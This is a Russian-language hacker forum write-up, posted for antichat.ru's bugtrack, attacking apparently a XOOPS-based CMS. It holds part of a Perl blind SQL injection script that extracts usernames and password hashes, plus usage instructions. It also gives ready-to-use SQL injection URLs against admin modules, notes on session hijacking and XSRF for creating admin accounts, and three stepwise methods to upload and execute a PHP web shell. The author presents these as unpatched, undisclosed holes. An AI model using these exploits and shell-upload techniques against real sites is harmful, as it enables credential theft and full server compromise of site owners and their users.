#########################
# Грубый брутфорсер #
#########################
# Если диапазон меньше 3 то начинаем грубый перебор
# создадим удобную функцию
sub brute {
($kol,$i)=@_;
$ans=$err;
$kol=$kol-1;
while ($ans =~ /$err/) {
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>='.$kol.',(select 1 union select 2),1)--');
$kol=$kol+1;
}
$smb=chr($kol-2);
print"$smb";
}
########################
&testvuln();
&testprefix();
&symbols();
&bruteforce();
print"\n[~]querryes:$n";
объясняю что к чему.
1) Иногда для работы требуется авторизация. Эта функция в эксплойте реализована. Регаем аккаунт. И подставляем в эксплойт так -u [user] -p [password]
авторизация требуется не всегда, так что если не нужно можно не указывать имя и пароль от аккаунта эксплойт от этого работу завершать не будет.
Если логин прошел успешно нам выдадет
2) Требуется указать... Валидные занчения forum topic_id и post_id, чтоб была возможность выделения логических да и нет. так -F [существующее значение параметра forum] -T [существующее значение параметра topic_id] -I [Существующее значение параметра post_id]
[+]login complete
если нет, то
[-]login failed
С чем могут возникнуть проблемы:
[-]forum unvulnerabile
это значит:
1) либо форум неуязвим.
2) Логические "да" и "Нет" для посимвольного брута выделить не получилось.
Во втором случае просто код страницы никогда не бывает постоянным там пишется ещё время генерации а оно постоянно меняется и в разных версиях форум на наши действия реагирует по разному поэтому также добиться постоянных логических да и нет не получится. За основу эксплойта взят алгоритм more 1 row правда ошибка не очень характерна для него, но алгоритм этот. Но бывают сбои если что не так, вам придется самим править переменную $err которая за весь процесс этот и отвечает. Но проблема эта возникает не часто.
[-]prefix incorrect
Значит префикс отличен от того, что использует эксплойт используйте -P [ваш префикс] чтобы использовать префикс отличный от стандартного.
[-]error
Это вылезет, если вы перемудрили с запросом. стандартный вид запроса concat(uname,0x3a,pass)
ответ не должен превышать 60 символов.
Ну вот собственно пока все.
:::мелочные дыры:::
Тут я рассмотрю уязвимости в админках(они нам тоже пригодятся ниже узнаете для чего) и другие уязвимости, которые довольно пассивным образом помогают нам повысить свои привилегии.
Баги все очень простые поэтому без лишних вставок все продемкаю.
1)
http://localhost/modules/messenger/index.php?sort=0'
по сути переопределяется переменная проблема в вызове. Она учавствует в sql запросе. Но она в limit'e поэтому в лучшем случае мы всего лишь раскроем пути.
2)
http://localhost/denwer//news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18/*
Компонент news всегда установлен. Это нам на руку.
3)
компонент System слепая sql inj
http://localhost/denwer/xoo/modules/system/admin.php?fct=modulesadmin&op=edit&mid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
вторая конечно важнее так как она зрячая.
:::дополнения:::
:::генерация сессии:::
Генерируется не хитроумно. Но проблемы нам такая генерация создать может.
в генерации участвует наш id, наше имя, хеш пароля а также юзер агент и remote adr . первые 3 величины и так определены user agent можно подделать а вот remote adr-это уже серьезно. То есть если мы стянем куки, мы сможем скосить под админа только если мы подделаем user agent и remote adr... агента как я писал подделаем а второе - это по сути привязка к ip. Тут летят все стандартные методы проведения XSS, но это не сильная проблема, так как раз авторизовавшись(под админом), мы можем бродить по админским разделам не зная пароля попахивает XSRF, это уже серьезнее. А если такое счастье есть, то стандартные методы проведения XSS нам даже не нужны можно без проблем добавить нового пользователя с правами админа. Чуть позже я планирую показать как это реализуется в данном движке.
:::Как выполнить php код?:::
Я нашел несколько способов.
Нужны права админа.
1)
Идем в админку
Идем в закладку файл(если таковой нет, идем в компоненты и устанавливаем компонент mydownloads)=>добавить/редактировать файл=>пишем в поля всякий бред и в качестве скриншота прикрепляем свой шелл
шелл будет доступен по адресу
http://site/modules/mydownloads/cache/images/shots/имя шелла.php
2) Это способ более универсален
идем в админку
если компонент newbb_plus не установлен, устанавливаем его. Идем в закладку форум=>менеджер форумов=>добавляем forum и subforum=>заполняем поля и в конце выбираем "да" напротив "Разрешить прикреплять файлы" добавляем расширение php. => создаем => идем на форум создаем топик и прикрепляем файл, он будет доступен только для скачивания, чтоб выполнить нужно узнать путь, а путь: "http://site/modules/newbb_plus/cache/attachments", Но имя файла генерируется в зависимости от времени и угадать имя врядли выйдет имя аттача имеет вид такого рода:1_1231064445.php . Весь этот процесс происходит не баз помощи sql . Имена файлов хранятся в базе данных и если у нас есть возможность выполнять Sql запросы мы без труда узнаем имя нашего аттача. Тут то нам и нужна Sql инъекция. Будем использовать инъект в модуле news в админке так как он всегда установлен пусть ссылка на скачку нашего аттача выглядит так http://localhost/denwer/xoo/modules/newbb_plus/dl_attachment.php?attachid=7
=> используем sql inj http://localhost/denwer/xoo/modules/news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,attachment,11,12, 13,14,15,16,17,18+from+ex_bbplus_posts+where+post_ id=7/*
И вуля имя нашего шелла нам выводится на экран. Осталось дойти до него и все.
http://site/modules/newbb_plus/cache/attachments/имя_шелла.php
3)
Но есть много ограничений
системное администрирование=>Блоки=>Добавляем блок=>Редактируем его=>Ниже выбираем php код и пишем в поле выше свой php код=>Жмякаем предварительный просмотр и наблюдаем результат выполнения.
На этом все также я снял видео в котором показываю некоторые уязвимости этого движка а также залитие шелла.
видео к данному обзору тут: http://forum.antichat.ru/showthread.php?p=1036854#post1036854
На момент написания, уязвимостей под этот движок на паблик багтрэках я не видел.
(c) The matrix
Специально для багтрэка античат.ру.